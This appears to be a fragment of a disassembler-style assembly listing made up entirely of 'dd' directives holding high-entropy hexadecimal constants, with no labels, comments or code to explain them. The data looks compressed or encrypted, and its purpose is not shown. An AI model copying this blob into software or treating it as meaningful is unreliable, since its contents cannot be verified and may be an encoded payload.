		dd 801AAC0Eh, 161340A5h, 0B40007A4h, 0B11D5F5Bh, 51609067h
		dd 6032A491h, 9AAD8F00h, 95B66ECFh, 0EAC62903h,	0FDA2E66Ch
		dd 0F10FB840h, 26D2F5h
		dd 0FD1235D0h, 7667F0F9h, 0E01A1D01h, 387902A2h, 98FB9DC8h
		dd 580A0134h, 0FF3D9044h, 66DC863h, 9A505B7Fh, 0C700B2BCh
		dd 0AB31AAD2h, 5845AEh,	0B56364EBh, 4B9C86CBh, 99E5BF00h
		dd 2F516976h, 8A610003h, 8FEB8166h, 0B30126F1h,	0ECF1015h
		dd 0A370D2E1h, 2CF33B3Dh, 0A6723B89h, 6744009Fh, 0A0B0DA32h
		dd 0B70585CBh, 329E21CDh, 0E0EB00C3h, 0B8B4DD1Bh, 74B00AB7h
		dd 94075Fh, 0B77B8C1Dh,	0D300B323h, 7ED00ECDh, 0B65E91h
		dd 4A3FD53Eh, 8BB8216Bh, 0C88DA500h, 0F7DD16BEh, 75B403E7h
		dd 7D87D257h, 115B1DA0h, 0B3538102h, 602A67A2h,	30E1D40Eh
		dd 5CC218Dh, 8590CD15h,	0C4471700h, 3D852E41h, 0F82200BBh
		dd 0D567AA0Fh, 70FA127Ch, 0E4B49C02h, 604DFE45h, 1A13DCC3h
		dd 0F47996C8h, 9F5DDD07h, 0F000EDB4h, 51A7CAE0h, 78039F70h
		dd 6C253BB7h, 5E32D902h, 18707C8h, 0E9D03C54h, 0CC3E2E1Dh
		dd 33396980h, 0D5C031Ah, 0B8DB7B43h, 5332FEh, 9171BBA6h
		dd 162F894Ch, 0B0046FCh, 0E3F94BDCh, 9528BAh, 92104A5Eh
		dd 0F7F6A1E8h, 0B165B203h, 609E083Bh, 0C6FAAE10h, 4D00BF20h
		dd 0C4C0579h, 0ABE739DEh, 0C64A88B4h, 91F0096h,	6C3E0191h
		dd 7A005819h, 2F1D62C0h, 0E4C71283h, 0B77217A1h, 5AA875h
		dd 0F8EB3404h, 501802B1h, 0DDE07Fh, 5B989524h, 0F5AFC7C9h
		dd 0FBB1270Ah, 0EB008896h, 9B34D330h, 53A40057h, 0BB9A77C6h
		dd 0DA1D94C5h, 5526E793h, 7DDB801h, 0C1D8C465h,	0E62860A4h
		dd 9A7A61BEh, 95964600h, 0EC2068C5h, 4C43008Bh,	36D9F079h
		dd 0D5502793h, 1600C0EBh, 0F30E7164h, 9D824Eh, 4A011B76h
		dd 0BD0C5AE4h, 7B65E703h, 0C0B30BC0h, 2CB56AB6h, 390BE518h
		dd 0F21341Dh, 0C2EEFA9Dh, 84353F83h, 82EF2807h,	1E772053h
		dd 4FDC806Ch, 0B36880FEh, 770FABCCh, 3C7AA288h,	26BB803Eh
		dd 0B01078A9h, 314A00A1h, 0D42D4D17h, 0F2006776h, 61941423h
		dd 7D98DDh, 0CC997F8h, 54B66AC5h, 0B8042C75h, 0B369C40Dh
		dd 96F280FBh, 0F4003AD6h, 6C558C4Fh, 1F5713EFh,	0C06E6F4Bh
		dd 0C72A2B06h, 0D50ED03Ah, 60568F8Bh, 1DF29745h, 242D307Dh
		dd 9B9FB790h, 0E0DCC651h, 3C542240h, 5303B9F0h,	24359A80h
		dd 0CE95F8C9h, 6805046Ch, 82F73A1Fh, 0B0405E74h, 941FD8BFh
		dd 0DA1FBE25h, 0D6FF0BC0h, 335C837Ch, 0FD802ACBh, 0C89C0A85h
		dd 87B90082h, 1A60033Eh, 0BCC9DD01h, 7E503B6Eh,	872A020h
		dd 9A4F99AFh, 20859B0Fh, 0E112AA25h, 0E7670052h, 0C9B05F7Bh
		dd 0F69851B8h, 94066600h, 0EDBD6CBAh, 381803E0h, 0B06D9FFAh
		dd 6E15DBE8h, 0B2A9AB01h, 9669B36h, 77D9A020h, 0CB25801Eh
		dd 0E801F400h, 0C0F8A08Fh, 6A6B0346h, 262B9091h, 60712DF9h
		dd 0A0A830ECh, 3709CC04h, 7CF9B8FCh, 501B0037h,	9CAF5CBh
		dd 975DF100h, 0B9C61793h, 0C85B01E6h, 0CE68D1DFh, 0E157D1BBh
		dd 0B8B07B27h, 64D60E4Eh, 38ABAC5Eh, 9A00FBD8h,	0EE041288h
		dd 39C46D69h, 8F80ED29h, 51E28E80h, 0C06E1A25h,	0B9F46748h
		dd 76EA606Fh, 0F60A9Fh,	4422ED5h, 24F55619h, 43F7D800h
		dd 4D930F0Ch, 46D901A4h, 22E14E45h, 5DA88EB7h, 87350138h
		dd 0EFE48095h, 0A0B067D5h, 494D10EEh, 79014476h, 0F06C3674h
		dd 0A440DB33h, 10B2B29h, 0C1E96FA8h, 0CC283035h, 5FE22370h
		dd 0D9008C98h, 0FCB9E615h, 44438Ch, 508DC095h, 14636913h
		dd 0C5981273h, 0A1F43800h, 9095CF19h, 9E7DD3h, 0C2810E98h
		dd 39C82844h, 0B6CA5605h, 0A8407B1Fh, 62A8908h,	0DBDD033Dh
		dd 3C8F0C13h, 0DEE03398h, 65124Ch, 0A7AF0A36h, 1C2287CDh
		dd 80E27581h, 997AC270h, 0BC007E7Ch, 0F7DB765Fh, 0FBD65B8h
		dd 54C08977h, 0B2C080F4h, 0E827705Fh, 6F496907h, 6AD5F54Ah
		dd 72422180h, 0DDA10EA5h, 805F4048h, 0FDAE03BCh, 0D207B513h
		dd 0FB7B7AB7h, 77E05A40h, 555E0114h, 0BB4E8557h, 52C040A6h
		dd 32004548h, 0B9A33E81h, 30D482BDh, 49E8572Dh,	0E100224Bh
		dd 0FBCA8590h, 30A161Dh, 32F27F3Fh, 0DDF06618h,	0C9005128h
		dd 0ADCFCAF7h, 71D8B9Eh, 0ECF3DF25h, 0C1B4852Eh, 0C09FE41Fh
		dd 8A00EEC3h, 19820FA1h, 18AF1A11h, 20639067h, 52F61F6Ch
		dd 4D22C200h, 1A2CBE05h, 5D0207B7h, 3F5582D0h, 63F947BEh
		dd 0A8585FFBh, 7E00931Ch, 0DDA3AC3Ch, 3F8A9858h, 0C700965Dh
		dd 7D71D4DAh, 40008D48h, 0F185BDD0h, 1CF91C18h,	0C0F80C19h
		dd 8950109Fh, 9E0066BBh, 240BC9FCh, 3FF16A98h, 8507D316h
		dd 41B8D210h, 70CF0DB6h, 0B00270Fh, 0E7DD2CCBh,	3A6717A8h
		dd 8300D03Eh, 96407B8h,	0DE0E3DDBh, 4ACC2EA4h, 3283F4EBh
		dd 0B8BD06DDh, 390AF28h, 134E11D1h, 0B0C7B0F1h,	0FCE6CFB5h
		dd 75006B73h, 826C7773h, 0F9A1756h, 90AA7E91h, 526058EFh
		dd 2015893Fh, 0F3BE8800h, 0C9E9A42h, 0A8FD0048h, 23DF4544h
		dd 1EE015C5h, 0A3AE2700h, 5802B00Fh, 333A14B4h,	4E1ED66Eh
		dd 0B8760389h, 0B21CE880h, 0EACCC66Fh, 34D31ACh, 0CDC8F0D2h
		dd 6F937E36h, 8DC0185Ah, 83A36Ch, 92BE6D26h, 9D7BE69Ah
		dd 73850300h, 0FF518D33h, 0EF8400E4h, 0D2B7C454h, 4D09FC01h
		dd 208AA7ECh, 0B2C02734h, 3309002Ah, 18EA6B1Bh,	16001C1Ah
		dd 6AE6B06Fh, 7C9BDC81h, 2467E61Fh, 118859Eh, 1549A80Fh
		dd 4D9DC41Ch, 0F800657Dh, 0F0C8617Eh, 7727C10Dh, 0BC5106F2h
		dd 71D747D4h, 0F472871Dh, 362B1540h, 0C3C10Eh, 528CEB1Dh
		dd 7867307Bh, 648B7C26h, 0CA611B00h, 1F6A21F7h,	81BE5F83h
		dd 8D3BDFD9h, 517C3085h, 0F17ACC71h, 8B032BE8h,	308F0E55h
		dd 0DDEB9007h, 52DA1211h, 2B80041h, 0D57E2D44h,	0FB04C800h
		dd 3D57E09Bh, 14A600DCh, 0C3EBCFF6h, 4500FDCAh,	0D748C731h
		dd 2C132Ah, 0C19E97CDh,	5D91A44Ch, 557E6201h, 1D8C5321h
		dd 24E79D60h, 68C112h, 954202F1h, 251FB0B5h, 0DD00CEABh
		dd 96AA947h, 1DA213CFh,	5160F51h, 2C66AB40h, 1F1D15E5h
		dd 1145D317h, 1C81CD81h, 0C07E2219h, 0EAC7F7FCh, 6D101A00h
		dd 0C2F66CC3h, 1F79F1h,	6FD8B95Fh, 0E375C0Dh, 2A33600h
		dd 0AE4B0A84h, 0AD330710h, 9723BA04h, 0B96EE012h, 74018A0Fh
		dd 0CAEA722Eh, 4FE0E5E9h, 0F2CB0062h, 1FAA16CDh, 0ED04AC34h
		dd 0C60D2ED3h, 243C3CC8h, 0E803E1h, 0B57D9080h,	0C7E00F1Bh
		dd 0C6F73000h, 2E36FE67h, 75E300B4h, 742C8FE5h,	83162521h
		dd 8840A98Ah, 2E87D7A3h, 0F45B0784h, 737A39B4h,	855D05h
		dd 29E2BBD4h, 0D099D44Ch, 0C0188219h, 0A500F278h, 7C7B4B1Eh
		dd 14909978h, 0CE651F00h, 7426E533h, 0DEF01DCFh, 549285CBh
		dd 0C13F809Ch, 394C8414h, 973200E1h, 20B1C9E1h,	2333147Ch
		dd 75E4A5h, 0C390D965h,	57877E4Eh, 0BC894900h, 779F1A42h
		dd 45240063h, 3F2F7970h, 330021CBh, 51525AC4h, 71E7B84h
		dd 0F288D260h, 364BF002h, 98761C41h, 62778D0Bh,	8F1B8ABDh
		dd 10F58700h, 0A066D247h, 2A7583FCh, 1E9088C1h,	1257E61Dh
		dd 16480072h, 0BF59E41Eh, 0EA603Bh, 62E23FDh, 63CCD5h
		dd 97350F1h, 80FB073Ah,	45F0E3Bh, 6D11370Dh, 1E065DC0h
		dd 0FC40ED97h, 843260C6h, 0C7F81CFCh, 705DDE70h, 0F7500024h
		dd 604E72F1h, 7B1B004Bh, 2AB40CD5h, 0FE00C869h,	9904EABFh
		dd 0B836D9B9h, 0D180008h, 0D47D2EA8h, 0C9070AD6h, 1CEA6C31h
		dd 0A0F90683h, 3B4704h,	9A690FD8h, 29F5C93h, 84C2C100h
		dd 0E973C6Dh, 6993C67h
		dd 4AD18E00h, 0D8D4271h, 435A7AC0h, 1E90A36Bh, 0B98187h
		dd 6A619D32h, 3D000A70h, 4625FBFAh, 0F808030Dh,	86E5006Bh
		dd 95E977Fh, 533BA81Bh,	0DF7E9C67h, 0C45FDE97h,	2BD35BC7h
		dd 0E87493F2h, 4C3B3808h, 440EF4A2h, 47FE52BBh,	3675887Dh
		dd 0A30711B7h, 0BE7F7B92h, 79393AB0h, 2C810E9Ch, 4EE25A29h
		dd 746BDD99h, 47CCD6D1h, 82E580E8h, 1C03DE34h, 66BF55BCh
		dd 8518072Dh, 41247DC3h, 40945260h, 0DD784318h,	0BB04DE00h
		dd 0BCE4DC55h, 98D0002Eh, 8559717Dh, 30E5872h, 0B21D402Ch
		dd 0BB2B1C42h, 8CC483B3h, 2FE938DBh, 0EAD68D80h, 0A5D72C75h
		dd 3B455200h, 85795077h, 545700AFh, 2F8958A0h, 7D0ACBCFh
		dd 649B4DF0h, 7053A93Eh, 46685247h, 0F3023887h,	4D458BA5h
		dd 8F6140C8h, 0B080E59Bh, 37D49CC3h, 2000844Fh,	9DAC66F9h
		dd 13635B11h, 1FE90C8Dh, 2FE8406Eh, 495FB429h, 65D2D804h
		dd 5B80CC52h, 71789C3h,	5D67ACECh, 7E8E10DBh, 0BA18181Ch
		dd 8188C26Ch, 0BE7F8Ah,	927F4FC6h, 5BB8F87Dh, 0FC4EC42Eh
		dd 0E282813Fh, 0D5C77051h, 2D1B60EEh, 0ECDA017Bh, 0A856B3D2h
		dd 0E2DCE816h, 0A5228B04h, 9C80533Bh, 4365C62h,	0B28B2BDh
		dd 49E1C069h, 1E01F416h, 22E9901h, 0F5D93537h, 7844E6h
		dd 0A0F3383Fh, 8091A9C5h, 0EF98ED00h, 0A8754FC8h, 7B3C01C7h
		dd 507EE235h, 0EF46288h, 0E01CA7FFh, 4A3A0678h,	0B7C0095h
		dd 7A90EAC4h, 33986593h, 0D6298A00h, 6D354842h,	45FB0055h
		dd 31A26F3Ch, 989864ECh, 71BF4F00h, 361A882Eh, 47E400F2h
		dd 506F9139h, 9C981051h, 6D00C2EAh, 0C56E7EE9h,	30C00FF1h
		dd 0D840CD3Dh, 0D40440CFh, 0DDE2E9B9h, 0D7EF10C0h, 0F03C0373h
		dd 26DCC9ADh, 0BF89B4F0h, 0CC7AA00Eh, 3E52E0F6h, 0F7C61C1h
		dd 0B27F202Ch, 0B8F05098h, 492D7000h, 9941EF53h, 0F807009Bh
		dd 0FA63E49Fh, 2A1FDBE3h, 0DE817F64h, 5E137C30h, 3BAB55C4h
		dd 6E1FE69Bh, 9740A4F8h, 7D2400AAh, 0E9A7C369h,	0F500609Ah
		dd 1DEBF0A8h, 0C94A4DD2h, 74805378h, 2FDF96CDh,	7BFD0C00h
		dd 0BFC2ABDBh, 5F460C9Fh, 0D1410DBBh, 29AE4C00h, 0CED8023Ah
		dd 71DB6930h, 5118A701h, 0A62BC4BAh, 2D8F8C12h,	9608B8C0h
		dd 6D5F00C2h, 8D809BA2h, 0C1005EBDh, 459E7D49h,	1D44037Ch
		dd 3D70BABh, 9ABC6698h,	261D07F0h, 0BE9DB39h, 0A0671EC3h
		dd 682AEF50h, 62170071h, 0A4566C2Eh, 0AD3C8753h, 3B8100E3h
		dd 0B122C88Bh, 8870095Fh, 4C9042EAh, 9B00197Eh,	0B6A9FBB4h
		dd 41837h, 0E48E4EB7h, 8535F550h, 6BC7B18h, 88A12EE0h
		dd 3C3CAD0Fh, 0F2CD0CF4h, 4C812Fh, 0F1FC5D79h, 83B47EABh
		dd 66A77000h, 24DC27DEh, 9A810094h, 134CEF97h, 0B600AD5Dh
		dd 0F4CF6B44h, 95488E3h, 0C358C0Bh, 0F6DE4C00h,	0B828BCBBh
		dd 0A0789CC4h, 0D00DEF2Ch, 0EB2EA600h, 0C21AF4h, 370123B1h
		dd 0CAAC0F30h, 0B672DA14h, 0B70E00D0h, 5EB1E6FDh, 46453E9Ch
		dd 0BF73770Fh, 81439100h, 8850CF52h, 9D1D6EFCh,	60B1A2B7h
		dd 64F87201h, 2E2E489Eh, 373A3106h, 5102889Fh, 7F8844D2h
		dd 0E538400Fh, 48A09AFDh, 6B007168h, 7EF2E739h,	0B8031591h
		dd 31C018E2h, 5FA9B82Bh, 6C731F5Ah, 916981ABh, 0F4DB0B0Ch
		dd 98004757h, 0DAA29E65h, 1DAAD743h, 0CF5F1AEh,	0CED07522h
		dd 0E848ED1Ch, 15736DC0h, 0BF68D4Fh, 0D33467BAh, 22557020h
		dd 0B20368BFh, 32F13314h, 1DE00049h, 21A6D7F7h,	0C2005F66h
		dd 5D4D7DDEh, 0C0C00755h, 766806C1h, 7C004910h,	0B1F8D858h
		dd 0E30802Bh, 0E71198C1h, 0CD1F9B00h, 0C607720Ch, 0FDBD6353h
		dd 22802E20h, 9CE801AAh, 0DE7F2D0Ah, 0CC60703Bh, 3C09C90Ah
		dd 0A700ACF2h, 860BA25Bh, 35E50026h, 0F7AED268h, 1A018713h
		dd 4C029B1Ch, 0BC43476h, 2B4E1C94h, 25A282FDh, 0C08049BBh
		dd 0CF11FFE2h, 0CE547503h, 0C3C28E9Bh, 1CB4D809h, 13D30093h
		dd 3D660DA1h, 0B7002A1Dh, 0C8B068D9h, 3B4DD8Eh,	2B23B88Ah
		dd 0BED80337h, 0CC1813A5h, 6940973Bh, 5A9843h, 0E221E1DFh
		dd 74B68CBBh, 64A8161Fh, 460EF2C1h, 0FC209E66h,	0C24503DCh
		dd 93D41EFDh, 20E27DD0h, 0C1A55200h, 0EEB7CCC6h, 0F78C00CAh
		dd 0A7018A2Bh, 6800AE55h, 0B50C3078h, 0FCE4047h, 91F92DE6h
		dd 0A10A3B60h, 7B98894Bh, 74EC793Bh, 0A6004FE6h, 0BCA2E473h
		dd 4856C6D4h, 700C454h,	705C8D1Bh, 8406BA90h, 1E4A16DDh
		dd 0F13D27A0h, 0B100F9DEh, 2CDDB1Ch, 592C00B4h,	318C2969h
		dd 0C248337Eh, 2A9607ACh, 0DFF09BD1h, 3829159h,	9848516Ch
		dd 80ECB385h, 0F54E6E4Eh, 70568701h, 9FE45CB9h,	6954CCh
		dd 19A34457h, 0B684FDB8h, 0BE25E700h, 217A416Eh, 4CE1037Ch
		dd 0E6F1584Bh, 50C0C780h, 560020EEh, 0B7E49C25h, 244754h
		dd 0C319BA53h, 0C17592B3h, 0F1D2710Fh, 0E21F20F4h, 0F5F84Dh
		dd 361D8F1Ah, 1CB3AD50h, 1B91273Ah, 0E89071E6h,	4DB8AE1Eh
		dd 0EA00548Eh, 0ECE1A356h, 0C09A5D6Ch, 3625D806h, 1F1157DEh
		dd 404A87AEh, 8C145E8Eh, 5B07E28Ah, 9182109Bh, 0B2E138E3h
		dd 225DE096h, 0A064905Dh, 54BAB730h, 1F2C4EAh, 0E8BD6756h
		dd 2022D668h, 7A0F694Ch, 60C67823h, 12350EFAh, 831800A8h
		dd 0E3D5401Fh, 0B700D115h, 7D86B58Dh, 64FFC939h, 0C02CC8D2h
		dd 68C20AFCh, 0FA966265h, 4E79B700h, 78B5CC24h,	96250026h
		dd 2DE3D3CDh, 0B77B3C84h, 83337118h, 27D018h, 0DC8150Ah
		dd 0A3683459h, 5CF92C00h, 0FB0CB6D2h, 8E1200CDh, 0BEE10533h
		dd 6D07383Bh, 2B6ABDF1h, 3B32AC0h, 106000FBh, 0CFF9622Dh
		dd 0B1076C17h, 0E01E44D1h, 2C80DF84h, 13D8406h,	0FAB04670h
		dd 0E036AEC5h, 7E3B3EFDh, 6A628ED4h, 9C2EC0BAh,	18D96Eh
		dd 0EB6751D0h, 0BDDBE176h, 0AF45348h, 0B09B582Dh, 9D00BB12h
		dd 0F778AD26h, 851D0B76h, 7410D4EAh, 0AA0006E5h, 40FB3233h
		dd 7D234Dh, 0CB54E79Ah,	112EA74Bh, 8080535Ch, 848C2B88h
		dd 0CA4700D8h, 961CEA30h, 0A91ED998h, 0E800D67Eh, 0D49B85FDh
		dd 0C2804D1h, 0C09A9426h, 0BBE08214h, 0B82C149Ch, 3A19A500h
		dd 0CED62Ch, 2AB3676Ch,	620C1D40h, 8BC73400h, 54CAAD6Ah
		dd 46440076h, 0B5AA3D3Ch, 0FF0277Ah, 80981325h,	1AE18E30h
		dd 0F33B0186h, 0B1912CECh, 0D87C6132h, 905824CEh, 37920788h
		dd 8A020501h, 0EBD469D0h, 753460h, 0AD046A49h, 0B370E173h
		dd 0D5BAACA0h, 0AC681A16h, 0F82F0800h, 637C4Eh,	853F0876h
		dd 647B4DFBh, 3E143506h, 11FF22h, 243C0D73h, 617E54FAh
		dd 31403900h, 7A852E7Dh, 449E4A52h, 0A4724DE0h,	53075CECh
		dd 335A232Ch, 5BA55E40h, 7DCB1D85h, 527E052Ah, 761C489Ah
		dd 2F303364h, 0BFFCBD09h, 82DCDB0Eh, 66FBC956h,	0BB39182Ch
		dd 2CDC482Bh, 5B7450ECh, 0A028DB30h, 0E0D25A8Ah, 1CB55356h
		dd 2D605830h, 4E28355Ah, 501E0C9Dh, 6DC1CC95h, 8D8274FBh
		dd 902C6AD1h, 59A23CC0h, 4A0193F7h, 9023B48Fh, 0C1E6CCC0h
		dd 0E8F11E9Eh, 1FF04821h, 921500A4h, 30B23413h,	0D600FF3Bh
		dd 0C52C2A2Fh, 9E2064h,	0CB3F6EA8h, 163751EBh, 0DEC7300h
		dd 4AC7129Bh, 5403097Bh, 3780B25Fh, 778F2B47h, 93562E00h
		dd 0A1E5C14h, 0E4C8019Fh, 0E21A6094h, 0C5C1E043h, 3706BA77h
		dd 7906C635h, 26AF00E2h, 445A98C8h, 1B00FE60h, 18BDA739h
		dd 3F54416Ch, 778025A4h, 0BAE4443Bh, 2300570Dh,	6E105065h
		dd 3A2B34h, 147FF2D1h
		dd 681535E7h, 1A003FF4h, 93A30675h, 0A501859h, 0DA7749A6h
		dd 0D6E287A8h, 326A5008h, 0D015F948h, 0FC3A3Fh,	66D72EB8h
		dd 0E47DBF62h, 5DA8008Ah, 14D2BA51h, 270E6B52h,	0D88D1F5h
		dd 45F1504Fh, 0BF8C59BDh, 0A548E36Eh, 80D649h, 0A652D34Ch
		dd 32BF69Ch, 0A3EC94B2h, 0E2F84D75h, 0CE075530h, 0A68B83D4h
		dd 58F92F90h, 8EE24Eh, 1BBCE069h, 80A13D52h, 4DFDC51Fh
		dd 0C864E203h, 0DA3EE0C0h, 6F4C0249h, 54E48873h, 3FF43CA0h
		dd 0E006A3Eh, 0EDBBF5F6h, 0C4C399Dh, 0C23CDD77h, 611F81F1h
		dd 4006F9B1h, 24C954BAh, 47E04166h, 19F7C68Ch, 3302FB00h
		dd 617C68E0h, 74D80032h, 0A64C5805h, 9600D469h,	77F319CFh
		dd 66849Bh, 57371301h, 70DD0BCBh, 6BDEC300h, 0D3BFE87Bh
		dd 0A39A00F5h, 6C71619Fh, 9C00392Fh, 0A985AC0Ch, 4CA46Bh
		dd 8809FE97h, 0B61CDB14h, 9CC62A07h, 0F2670438h, 2D9FC980h
		dd 543B0291h, 137107D5h, 6DE88280h, 88EA32AFh, 147B1000h
		dd 24990DEAh, 528B1F92h, 0A7B140BCh, 0B8109C0Ah, 12005BF6h
		dd 4009E827h, 0FB94D9Ah, 5394EA3h, 0DA238720h, 0CF3F57B7h
		dd 0F45286FAh, 85C86E9Fh, 0F6E05D04h, 94A24Eh, 682E7AB2h
		dd 0ED582516h, 788A0318h, 956328h, 0C37D4E53h, 0DAF4A21Ah
		dd 0EA800700h, 60039985h, 0F55004A1h, 4851BF63h, 0E8B342CEh
		dd 0BE20DC24h, 0F2814B9Fh, 7E2D21EAh, 10B8028Bh, 0A6899E5Ah
		dd 79440D08h, 0C7228434h, 118A4298h, 90217F82h,	9566E608h
		dd 72223CBEh, 4D118C42h, 8A2219Ah, 0E88870B1h, 672788A3h
		dd 1A45688h, 0C6537AA6h, 0DC413182h, 42037BE2h,	315E81F1h
		dd 768BA0h, 65454820h, 0DD49BE99h, 0F83C4BF4h, 9BBC017Ah
		dd 0B6C93BBh, 43B370h, 0A5DBD3EAh, 88C6479Dh, 9A576A05h
		dd 0C0801C22h, 1182D7h,	19250109h, 1E5FE3B8h, 37069E71h
		dd 0BF13C294h, 38AD1D19h, 114A18B2h, 0DFFC28BDh, 2C3AF898h
		dd 0AD7F0763h, 0F830D0D2h, 0FA93235h, 70DE9950h, 0FEF11D00h
		dd 6B03A523h, 0C5475A02h, 0A425B03Ah, 8A0500D7h, 274A9F35h
		dd 0FDF86319h, 0BA0ABF00h, 8CC1213Fh, 3CB7000Dh, 0CB24B276h
		dd 4092EE2Eh, 71324B01h, 99C5789Ch, 70003CBBh, 39C2C9ACh
		dd 15007297h, 2428FD46h, 18EAEEC1h, 11042710h, 2F00CB9Dh
		dd 209878FCh, 189CFD11h, 98F9C249h, 0C03F8D35h,	0E1EC80AFh
		dd 2408AD54h, 26860580h, 1365EFh, 0A6418EF5h, 0F07FD752h
		dd 98C0127Ah, 5377554h,	5CCB0101h, 0FAE5C3B4h, 4A87F41Bh
		dd 0BECAAD00h, 46421AE6h, 19D008Eh, 3AF3E1A0h, 907C1D4h
		dd 0F836B60Ah, 66A71BE0h, 14C00708h, 0A0486CC7h, 3C2602D1h
		dd 2CE83300h, 2A8F214Bh, 3FBF00C9h, 1D2069D9h, 66002D40h
		dd 526BF05Bh, 0A70B4Bh,	2E427EC6h, 9032B18Eh, 230FF200h
		dd 966E834Dh, 2F2500FCh, 1D27EECCh, 0C700A0F9h,	0F25F9785h
		dd 907AEC9Ah, 0C4220EF8h, 0D22094E3h, 0BBF6B2CDh, 9583F200h
		dd 0F4B4C3DEh, 3220C3B0h, 0FCE84B77h, 8C5C797Bh, 0D1A80000h
		dd 0A18775C2h, 0FEC30034h, 3AD05FAEh, 0C700A44Bh, 8B399C7Dh
		dd 0BA74A8h, 0C41FB2A6h, 0E3897EE8h, 7CBB3C1Ch,	0D89784C0h
		dd 5EED6DCh, 0C9E972D9h, 0BB800ADh, 7E7FB10Fh, 415EC51Eh
		dd 0AC1AA741h, 62F8ED24h, 664800C8h, 0E0649533h, 0B7798516h
		dd 2336A71Fh, 0DB28AF84h, 991B0C80h, 3B060067h,	1A63D0B8h
		dd 72720947h, 4186D502h, 681EBE38h, 2C0280h, 57C193E4h
		dd 4ECCE992h, 333EA400h, 7BE3A724h, 246CE648h, 39C1D11h
		dd 0AAB5C69Eh, 3E1CF888h, 0C149ED00h, 98E191FEh, 3AB01AEh
		dd 87CC371Bh, 5946FCD6h, 0CA2A5F00h, 52AD291Dh,	365A030Ch
		dd 453E27B1h, 77CCC08Fh, 0F800D9A2h, 9A7E24CBh,	296F33h
		dd 0DAF1C3ACh, 0AAB12A0Ah, 8A02ED71h, 7705B475h, 80DDE4h
		dd 0C2DE3C4Ah, 1660BC00h, 5EBA6393h, 817A0FABh,	9CA04212h
		dd 8A8C2622h, 735AB126h, 40785F00h, 0C160A4h, 70A56356h
		dd 0EA0734E4h, 0AC41F912h, 86BAD000h, 0F5FE85h,	2E38CB40h
		dd 0FF6DAA55h, 3AC94400h, 0DEA59A14h, 0DD790096h, 0B7610907h
		dd 0C860A77Eh, 0B5630F10h, 0D5A0077Bh, 0F049680Eh, 71A3EE95h
		dd 996EEF00h, 1440AEAFh, 31620024h, 9F3CFC22h, 78009EAAh
		dd 39991041h, 919467h, 57269537h, 9687696Ah, 164AD4Dh
		dd 0C01421EAh, 7FA553Dh, 90B917D4h, 97A526D5h, 2F461602h
		dd 601A9E99h, 0F61CB0Ch, 29B9816Eh, 64A1CB1Eh, 0C4348820h
		dd 0A6B82F74h, 43061F75h, 29E6F05Ch, 0C26F458h,	65FDF44Fh
		dd 0C904EC48h, 501C61C3h, 7426F700h, 949803CBh,	8026AC75h
		dd 190180E7h, 0A3F7B4D8h, 3C90D4F7h, 4133BD1h, 0DB5C93ECh
		dd 6284C898h, 7E3AB513h, 46171C03h, 5AE9241Dh, 0B97A008Dh
		dd 0B5809899h, 0A282090h, 0EF00A0A3h, 5F18D6B6h, 6037943Dh
		dd 8F12781Dh, 5600ABB0h, 0B9969066h, 0A81A255Ah, 4E57784h
		dd 159795EAh, 8104802Eh, 3E4C09A5h, 8EA11790h, 85961441h
		dd 0B8816692h, 2FACC597h, 0EAA0807Dh, 8C43B847h, 1C622CD5h
		dd 4BAD0060h, 4DA6B5E2h, 8D6D2800h, 0FCEDD8E3h,	977E00FFh
		dd 0B71330EBh, 3B01904Bh, 28495DDBh, 0C201F17h,	0BE191DD8h
		dd 0ABE607BCh, 0FD9B002h, 42006A79h, 635E393Ch,	1A8229h
		dd 94E6EF21h, 9206FA5Dh, 79744148h, 7F522A00h, 95A33818h
		dd 588E1FF3h, 73712D9h,	0B006E1ECh, 0B617D640h,	76002C98h
		dd 5F8D52B5h, 99C4C7Bh,	65C10688h, 73A0803h, 0C0787EB8h
		dd 0AEB84B00h, 7CED2AD5h, 0BA4900C4h, 5E261A94h, 5D00F916h
		dd 37E18C87h, 784824FEh, 0E3920240h, 551DFB35h,	36CEA781h
		dd 0F1E88E9Ah, 1913836Fh, 659800CAh, 0C517217Eh, 0C22812B7h
		dd 7406B078h, 0AD224815h, 0BB645811h, 5A19D00h,	6047C9FCh
		dd 98C13404h, 40C77785h, 0D1C23581h, 14ED9DCh, 17836F3Ch
		dd 0EC46FF7Ah, 0AA381DD3h, 14858A7h, 8473B1E3h,	18E8B70Bh
		dd 0C1783A77h, 2414800h, 0A32EB3E5h, 7F7AD400h,	3BEE7BFAh
		dd 18AF07F2h, 607CAD99h, 0BBBDF7A7h, 9C63E18h, 13290AD8h
		dd 387391h, 0B5F61A8Fh,	25005FCDh, 82D1AEEDh, 76C848BAh
		dd 2E960007h, 2105B719h, 4100FB5Dh, 7CA7CF81h, 9B00C8Fh
		dd 6DE2942h, 0EE2C1CA0h, 470F7123h, 3744978Eh, 0CF3CAFE8h
		dd 0D04FBC81h, 3E63BB45h, 124300E0h, 0E66641h, 0E5267460h
		dd 0D20054CBh, 1568E739h, 6653B4E4h, 203289CEh,	0B8341200h
		dd 2C576C17h, 9351EBEh,	91620084h, 1236C521h, 0ADCA8A00h
		dd 0C1FBFE32h, 0C30900E7h, 0C98B969Fh, 40E1B918h, 6E36E8CCh
		dd 745CC41Eh, 0B3009AD2h, 65EDF8AEh, 0E8D45C7Ch, 78A731Eh
		dd 0E44C53D8h, 0F018D176h, 289B10FBh, 1B2D0110h, 0D2AA6FCFh
		dd 8CEFE030h, 1166AE00h, 266AABBFh, 0E3C7CCBh, 0F9C30E23h
		dd 0FA70D861h, 0AFB8F81Eh, 9C86F48h, 0AC152Eh, 0DC9CDA34h
		dd 0F93F06Eh, 29DFC25h,	0FBCF55C1h, 9B7170C9h, 278B700Fh
		dd 4BD805Eh, 0FDD06h, 0B93BBC29h, 0C0F59A43h, 0AD7D11Ch
		dd 7C3E9628h, 5AB8E05Fh, 308F68B0h, 80108548h, 0B8F41EA9h
		dd 83A65000h, 2042139Eh, 208467ABh, 2334A066h, 0E8C08CE3h
		dd 6D9F5D9Ch, 0C61A002Dh, 4EFDF159h, 0F230752Ch, 627DC055h
		dd 89990119h, 5A698F30h, 0C8CC0DBh, 3874D1Eh, 0B651C870h
		dd 86CF004Eh, 0EA1563Ah, 0B800C7CEh, 0C6ACEF2Fh, 7C424C41h
		dd 0F5AD008Fh, 8AF18865h
		dd 34F973B5h, 8B003A74h, 3EAED7EFh, 692B7h, 0ADDAEE80h
		dd 48CB54Ah, 74209760h,	1B2F1A9h, 52D13DA2h, 0E0165480h
		dd 0CF003F60h, 0BC67B94Fh, 2B65FBEh, 0A9A5D519h, 0E4527A5Bh
		dd 0D878749Ah, 4D00BEF6h, 15D6DD46h, 0F08B8Dh, 9742C4F9h
